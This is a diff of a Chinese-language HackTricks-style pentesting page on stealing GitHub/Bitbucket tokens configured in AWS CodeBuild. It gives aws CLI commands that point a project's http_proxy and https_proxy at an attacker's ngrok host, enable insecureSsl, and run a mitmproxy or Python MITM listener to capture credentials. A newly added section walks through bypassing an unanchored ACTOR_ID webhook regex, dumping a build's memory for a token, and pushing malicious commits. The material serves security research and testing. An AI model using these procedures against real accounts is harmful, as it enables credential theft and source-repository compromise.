diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 9e2f196db..f388b0663 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 恢复 Github/Bitbucket 配置的令牌 +## 恢复已配置的 Github/Bitbucket Tokens -首先,检查是否配置了任何源凭据,以便您可以泄露: +首先,检查是否存在任何已配置的源凭证,你可以 leak: ```bash aws codebuild list-source-credentials ``` -### 通过 Docker 镜像 +### Via Docker Image -如果您发现例如 Github 的身份验证已在账户中设置,您可以通过让 Codebuild **使用特定的 Docker 镜像** 来 **提取** 该 **访问** (**GH token 或 OAuth token**)以运行项目的构建。 +如果你发现该账号中对例如 Github 的认证已设置,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。 -为此,您可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。 +为此你可以 **create a new Codebuild project** 或更改现有项目的 **环境** 来设置 **Docker image**。 -您可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基本的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许您拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。 +你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截由 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。 -1. **创建并上传您自己的 Docker MitM 镜像** -- 按照仓库的说明设置您的代理 IP 地址并设置您的 SSL 证书,然后 **构建 Docker 镜像**。 -- **不要设置 `http_proxy`** 以避免拦截对元数据端点的请求。 -- 您可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为您的主机。 -- 一旦您构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub、ECR...)。 -2. **设置环境** -- 创建一个 **新的 Codebuild 项目** 或 **修改** 现有项目的环境。 -- 设置项目以使用 **之前生成的 Docker 镜像**。 +1. **Create & Upload your own Docker MitM image** +- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 **build the docker image**。 +- **DO NOT SET `http_proxy`**,以免拦截到 metadata endpoint 的请求。 +- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 将代理指向你的主机 +- 一旦构建好 Docker image,**upload it to a public repo**(Dockerhub、ECR...) +2. **Set the environment** +- 创建一个 **new Codebuild project** 或 **modify** 现有项目的环境。 +- 将项目设置为使用 **previously generated Docker image**
-3. **在您的主机上设置 MitM 代理** +3. **Set the MitM proxy in your host** -- 如 **Github 仓库** 中所示,您可以使用类似的内容: +- 如 **Github repo** 所示,你可以使用类似: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> 使用的 **mitmproxy 版本是 9.0.1**,据报道在版本 10 中这可能无法工作。 +> 使用的 **mitmproxy 版本是 9.0.1**,有报道称在版本 10 上这可能无法工作。 -4. **运行构建并捕获凭据** +4. **运行构建并捕获凭证** -- 您可以在 **Authorization** 头中看到令牌: +- 你可以在 **Authorization** 标头中看到 token:
-这也可以通过 aws cli 以类似的方式完成。 +这也可以通过 aws cli 完成,例如: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### 通过 insecureSSL -**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在网页中隐藏,您只能通过 API 更改它。\ -启用此选项后,Codebuild 可以连接到存储库 **而不检查** 平台提供的证书。 +**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,这个设置在 web 界面中是隐藏的,只能通过 API 修改.\ +启用后,允许 Codebuild 在连接到仓库时**不校验平台提供的证书**。 -- 首先,您需要使用类似以下的方式枚举当前配置: +- 首先需要用类似下面的命令枚举当前配置: ```bash aws codebuild batch-get-projects --name ``` -- 然后,使用收集到的信息,您可以将项目设置 **`insecureSsl`** 更新为 **`True`**。以下是我更新项目的示例,请注意最后的 **`insecureSsl=True`**(这是您需要从收集的配置中更改的唯一内容)。 -- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向您的 tcp ngrok,如: +- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例,注意末尾的 **`insecureSsl=True`**(这是你需要从收集到的配置中更改的唯一一项)。 +- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy** 指向你的 tcp ngrok,例如: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 +- 然后,在代理变量(http_proxy 和 https_proxy)所指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 最后,点击 **Build the project**,**凭证**将以 **明文**(base64)发送到 mitm 端口: +- 最后,点击 **构建项目 (Build the project)**,这些 **credentials** 将以 **明文**(base64)发送到 mitm 端口:
### ~~通过 HTTP 协议~~ -> [!TIP] > **这个漏洞在 2023 年 2 月第 20 周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)** +> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那一周被 AWS 修复(我想是周五)。因此攻击者无法再滥用它 :)** -具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则会泄露 **用于访问代码的临时 OAuth 令牌**。 +具有对 CodeBuild 提权的攻击者可能会 leak 已配置的 Github/Bitbucket token,或者如果权限通过 OAuth 配置,则会 leak 用于访问代码的临时 OAuth token。 -- 攻击者可以将环境变量 **http_proxy** 和 **https_proxy** 添加到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。 +- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy** 指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
-- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如: `http://github.com/carlospolop-forks/TestActions` -- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。 +- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions` +- 然后,在由代理变量(http_proxy 和 https_proxy)指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。 ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 接下来,点击 **Build the project** 或从命令行启动构建: +- 接下来,点击 **构建项目** 或从命令行启动构建: ```sh aws codebuild start-build --project-name ``` -- 最后,**凭证**将以**明文**(base64)发送到mitm端口: +- 最后,**credentials** 将以**明文**(base64)发送到 mitm 端口:
> [!WARNING] -> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并且比直接使用CodeBuild服务更容易(滥用)。 +> 现在攻击者可以在其机器上使用该 token,列出其拥有的所有权限,并比直接使用 CodeBuild 服务更容易地滥用它。 + +## Webhook filter ACTOR_ID regex allowlist 绕过(PR 触发的特权构建) + +配置错误的 CodeBuild GitHub webhook 使用未加锚点的 `ACTOR_ID` regex 时,会允许 *untrusted* PR 启动特权构建。如果 allowlist 写成 `123456|7890123` 而没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以争先注册一个 “eclipsing” ID(包含受信任 ID 的超串),从而触发构建。 + +**Exploit path** + +1. 查找公开的 CodeBuild 项目,暴露 webhook filters 并提取未加锚点的 `ACTOR_ID` allowlist。 +2. 获得一个 eclipsing GitHub ID: +- 通过创建/删除 GitHub orgs 来抽样全局 ID 计数器(org IDs 共享该池)。 +- 预先准备大量 GitHub App manifest 的创建请求,当计数器接近目标约 100 个 ID 时,触发确认 URL 以突发性注册一个包含受信任子串的 bot ID。 +3. 用 eclipsing 账户发起 PR;regex 会匹配该子串,从而运行特权构建。 +4. 利用构建 RCE(例如依赖安装钩子)转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。 +5. 使用该 token 的 `repo` scope,将你的账户邀请为 collaborator/admin,推送/批准恶意提交或外泄 secrets。 + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}